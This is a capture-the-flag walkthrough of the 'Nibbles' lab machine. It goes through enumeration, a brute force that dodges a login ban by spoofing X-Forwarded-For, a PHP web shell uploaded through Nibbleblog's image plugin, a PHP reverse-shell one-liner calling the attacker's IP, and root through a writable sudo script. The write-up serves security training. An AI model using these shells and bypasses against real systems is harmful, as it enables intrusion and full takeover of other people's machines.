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Nibbles

Nmap scan

┌──(kali㉿kali)-[~]
└─$ sudo nmap --min-rate 1000 -p- 10.10.10.75
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-04 12:48 EST
Nmap scan report for 10.10.10.75
Host is up (0.051s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 17.93 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -p80,22 10.10.10.75    
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-04 12:49 EST
Nmap scan report for 10.10.10.75
Host is up (0.051s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds

A website and SSH, let's start with the port 80 and check what we can get from it.

Port 80

The site only contains a 'Hello world' message but inspecting the code we can see a code comment:

 <!-- /nibbleblog/ directory. Nothing interesting here! -->
Visiting /nibbleblog/ will reveal a blog, let's enumerate it.

Nibbleblog

Nibbleblog is an engine for blog creation. Using Gobuster:

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.75/nibbleblog/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
2021/12/04 12:58:04 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 2987]
/sitemap.php          (Status: 200) [Size: 402] 
/content              (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/content/]
/themes               (Status: 301) [Size: 322] [--> http://10.10.10.75/nibbleblog/themes/] 
/feed.php             (Status: 200) [Size: 302]                                             
/admin                (Status: 301) [Size: 321] [--> http://10.10.10.75/nibbleblog/admin/]  
/admin.php            (Status: 200) [Size: 1401]                                            
/plugins              (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/plugins/]
/install.php          (Status: 200) [Size: 78]                                              
/update.php           (Status: 200) [Size: 1622]                                            
/README               (Status: 200) [Size: 4628]                                            
/languages            (Status: 301) [Size: 325] [--> http://10.10.10.75/nibbleblog/languages/]       
===============================================================
2021/12/04 13:03:24 Finished
===============================================================
We can see some interesting things, checking the README file reveals the version of the site: 4.0.3. Let's see if something exists for this version:
┌──(kali㉿kali)-[~]
└─$ searchsploit Nibbleblog  
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Nibbleblog 3 - Multiple SQL Injections                                             | php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit)                              | php/remote/38489.rb
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
The second one sounds cool but needs an authenticated user so time to move on.

We can try to brute force the /admin.php page. To help with this, the file /nibbleblog/content/private/users.xml contains the users registered in the application which, in this case, only contains the admin user. This file also reveals something not good, looks like the application is blocking IPs out after a number of failed logins (Checking the application code shows that the ban is 5 minutes long after 5 unsuccessful logins).

I decided to change the X-Forwarded-For header to see if the block can be bypassed and... actually it worked! So time for Python and a custom brute force tool... or not. The password was nibbles and yes, my Python code found the password, but I should have tried a bit harder with the default credentials becasue it would have been faster, lesson learnt. The Python code I wrote is uploaded as a resource if someone wants to check it out.

Now we can continue with the exploit we found earlier and get access to the box.

RCE

Checking the Metasploit exploit found by searchsploit it is easy where to look for our foothold. There is a plugin called "My image" that lets you upload images to the site, the thing is that it is not checking the files so a web shell can be used instead. The uploaded files are located at /nibbleblog/content/private/plugins/my_image/.

I uploaded a simple PHP web shell to get code execution:

<?php
    if (isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }
?>
And then spinning up a listener and with a reverse shell like this (Remember to URL encode it!):
php -r '$sock=fsockopen("10.10.14.26",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
We get access to the machine!
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 8080 
listening on [any] 8080 ...
connect to [10.10.14.26] from (UNKNOWN) [10.10.10.75] 52934
/bin/sh: 0: can't access tty; job control turned off
$
The user flag is under /home/nibbler/user.txt.

Privilege escalation

Right now we have access as the nibbler user. In its home directory we can find a personal.zip file that contains a monitoring script and if we check if we can use sudo:

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

There it is our attack vector. Since we have control over that script route we can just change the contents of the monitor.sh script with:

#! /bin/bash
bash

Executing our new script with sudo will give us a root shell:

nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
root@Nibbles:/home/nibbler/personal/stuff#
The root flag is under /root/root.txt.

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